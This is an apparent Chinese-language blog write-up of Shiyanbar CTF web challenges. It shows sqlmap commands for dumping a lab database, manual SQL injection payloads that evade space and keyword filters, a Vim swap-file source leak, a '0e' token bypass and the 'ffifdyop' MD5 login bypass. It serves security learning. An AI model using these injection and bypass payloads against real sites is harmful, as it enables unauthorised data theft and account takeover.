实验吧web题:
实验吧web题:
这个有点简单
因为刚了解sqlmap,所以就拿sqlmap来练练手了
1,先测试该页面是否存在sql注入漏洞
2、找到漏洞页面,复制url,然后打开sqlmap
先查看当前数据库
然后爆出:
然后爆出数据库下的表:sqlmap.py -u “http://ctf5.shiyanbar.com/8/index.php?id=1” -D my_db –tables
字段:sqlmap.py -u “http://ctf5.shiyanbar.com/8/index.php?id=1” -D my_db -T thiskey –columns
sqlmap.py -u “http://ctf5.shiyanbar.com/8/index.php?id=1” -D my_db -T thiskey -C k0y –dump
得到key
如果要手工注入,可参考:链接
#简单的SQL注入
http://www.shiyanbar.com/ctf/1875
1)试着在?id=1,没有错误
2)试着?id=1’,出错了,有回显,说明有注入点:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right
syntax to use near ''''' at line 1
3)先预计后台表名为flag,所以构造union select flag from flag
4)根据第二部判断的依据,所以多加个',后面的语句需要再一个'来结束,注入语句为?id=1'union select flag from flag where 't'=
't
回显的是:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
the right syntax to use near 't'='t'' at line 1
分析:根据报错,只有变量了,其他的关键字都没过滤了
5)把关键字from,where写两遍试试,结果报错:corresponds to your MySQL server version for the right syntax to use near
'unionselectflag fromflag where't'='t'' at line 1
发现空格被过滤!
6)用'+'号来代替空格:?id=1 '+unionunion +selectselect +flag+fromfrom +flag+wherewhere+'t'='t
简单的sql注入2:
1、先?id=1,正常回显,然后=2,=3,最后发现只有三个
2、?id=1’ 显示mysql 语句错误 大概判断mysql 语句为 select name from user where id=’input’
3.id=1 ’ 中间有一个空格 显示 SQLi detected! 说明 空格被过滤
继续简单的 判断
id=1’%0Band%0B’1’=’1 %0B 表示空格 还有的 类似 %0a-%0z + /**/都可以试试
显示正常
ID: 1'and'1'='1
name: baloteli
然后 继续测试
发现这个 逻辑 方法也 不错
?id=1’||id
||’ 可以显示 表中的数据 然后语句就是 select name from user where id=’1’||id
||” 闭合的 想要显示表中的所有记录可以多加几个||’‘ 只要是语句是闭合的就可以
ID: 1'||`id`||'
name: baloteli
ID: 1'||`id`||'
name: kanawaluo
ID: 1'||`id`||'
name: dengdeng
然后继续 结合web1 我们可以猜到 还有一个flag表
发现 十六进制编码就可以搞定
?id=1’/!u%6eion/ /!se%6cect/flag/!from/flag/!where/”=’
直接 getflag
拐弯抹角:
这个题是真的之前没了解过,看了下网上一些writeup,大部分都说直接看源码就出来了,搞了好久才发现是url伪静态
直接输入:http://ctf5.shiyanbar.com/indirection/index.php/user/index.php
即得flag:
URL伪静态:https://blog.csdn.net/xiaohajunsky/article/details/51224298
http://www.cnblogs.com/jsq16/p/5942003.html
忘记密码了?
先查看源代码,发现有个step2.php,所以先访问下
然后又看到step2.php内又有一个submit.php
继续访问,然后在里面发现了
这应该就是突破点了
然后在step1中有
它告诉了我们编辑器是Vim,而这个编辑器在对某个文件编辑后,如果非正常退出,会产生一个该文件的临时文件,名字为.原文件名.swp。(还有一种获取源码的方式是其备份文件名:原文件名~)
我们访问 http://ctf5.shiyanbar.com/10/upload/.submit.php.swp,可以看到一部分源码
需要两个条件,emailAddress和token
emailAddress应该是admin的邮箱地址,我们可以在step那两个php的源码里看到,应该为admin@simplexue.com
token的要求为长度为10并且值为0,0e满足这个条件
访问http://ctf5.shiyanbar.com/10/upload/submit.php?token=0e11111111&emailAddress=admin@simplexue.com
后台登录
参考了许多大佬的writeup,勉勉强强算弄懂了,这是转载的某个大佬的writeup
这道题给了一个登录框,第一反应是sql注入,提交了一个1上去后发现url没显示,或许是POST?算了,看看源码。
276f722736c95d99e921722cf9ed621c
'or'6<trash>
加到原来的语句中就是:
SELECT * FROM admin WHERE username = 'admin' and password = ''or'6<trash>'
成功绕过的验证password 。所以提交ffifdyop得到flag。
天下武功唯快不破
参考writeup:https://www.cnblogs.com/sherlock17/p/6707136.html
扩展的知识点:
python脚本的使用
pip:pip 是一个现代的,通用的 Python 包管理工具。提供了对 Python 包的查找、下载、安装、卸载的功能。
pip 是一个现代的,通用的 Python 包管理工具 [1] 。提供了对Python 包的查找、下载、安装、卸载的功能。
官方提供的pip 示例
$ pip install requests
$ pip search xml
$ pip show beautifulsoup4
$ pip uninstall requests
实验吧web题:的更多相关文章
- 实验吧web题(26/26)全writeup!超详细:)
#简单的SQL注入 http://www.shiyanbar.com/ctf/1875 1)试着在?id=1,没有错误 2)试着?id=1',出错了,有回显,说明有注入点: You have an e ...
- 实验吧 web题writeup
1.http://ctf5.shiyanbar.com/web/wonderkun/web/index.html 用户名我输入:or'xor"and"select"uni ...
- 20155201 网络攻防技术 实验九 Web安全基础
20155201 网络攻防技术 实验九 Web安全基础 一.实践内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.报告内容: 1. 基础问题回答 1)SQL注入攻击 ...
- 20155222卢梓杰 实验九 Web安全基础
实验九 Web安全基础 今天不多bb,打开webgoat就是干好吧 1.简单字符串sql注入 可以看到这个实验说明是 "下表允许用户查看其信用卡号码.尝试插入一个SQL字符串,以显示所有信用 ...
- 20155313 杨瀚 《网络对抗技术》实验九 Web安全基础
20155313 杨瀚 <网络对抗技术>实验九 Web安全基础 一.实验目的 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.基础问题回答 1.SQL注入攻 ...
- i春秋CTF web题(1)
之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
- 实验八 Web基础 SQL注入原理
实验八 Web基础 实验要求 (1)Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. (2)Web前端javascipt ...
随机推荐
- UnicodeDecodeError: 'ascii' codec can't decode byte
这个问题遇到过很多次了,但是每次都没记住,用完就忘了,这次记录下. 通过关键词谷歌一下: 解决方案: # encoding=utf8 import sys reload(sys) sys.setdef ...
- Linux文件权限与属性详解 之 ACL
Linux文件权限与属性详解 之 一般权限 Linux文件权限与属性详解 之 ACL Linux文件权限与属性详解 之 SUID.SGID & SBIT Linux文件权限与属性详解 之 ch ...
- 高负载集群实战之lvs负载均衡-技术流ken
lvs简介 LVS的英文全称是Linux Virtual Server,即Linux虚拟服务器. 特点 跨平台:window,linux 作用 实现负载均衡 核心组件 ip_vs:linux的内核功能 ...
- NTP时间服务器实战应用详解-技术流ken
简介 在搭建集群服务中,要保证各节点时间一致,NTP时间服务器就成为了一个好帮手了. 系统环境 系统版本:centos6.7 服务器IP:10.220..5.166/24 客户端IP:10.220.5 ...
- Ajax的初级使用
一.AJAX简介(本文的例子都使用的是原生的ajax) 老技术新用法二.异步和同步区别三.XMLHttpRequest对象(面试题) 属性: readyState: 0:未初始化 1:open方法已经 ...
- 动态规划法(十)最长公共子序列(LCS)问题
问题介绍 给定一个序列\(X=<x_1,x_2,....,x_m>\),另一个序列\(Z=<z_1,z_2,....,z_k>\)满足如下条件时称为X的子序列:存在一个严格 ...
- C#自动关闭弹出提示框
自动关闭弹出提示框(用一个小窗体显示提示信息):例如在一个form窗体中弹出自动关闭的提示框1.首先创建一个弹出提示信息的窗体 AutoCloseMassageBox,在里面拖一个lable控件,去掉 ...
- collect_list/collect_set(列转行)
Hive中collect相关的函数有collect_list和collect_set. 它们都是将分组中的某列转为一个数组返回,不同的是collect_list不去重而collect_set去重. 做 ...
- 史上最全python面试题详解(三)(附带详细答案(关注、持续更新))
38.面向对象深度优先和广度优先是什么? 39.面向对象中super的作用? 40.是否使用过functools中的函数?其作用是什么? Python自带的 functools 模块提供了一些常用的高 ...
- Python 内置函数笔记
其中有几个方法没怎么用过, 所以没整理到 Python内置函数 abs(a) 返回a的绝对值.该参数可以是整数或浮点数.如果参数是一个复数,则返回其大小 all(a) 如果元组.列表里面的所有元素都非 ...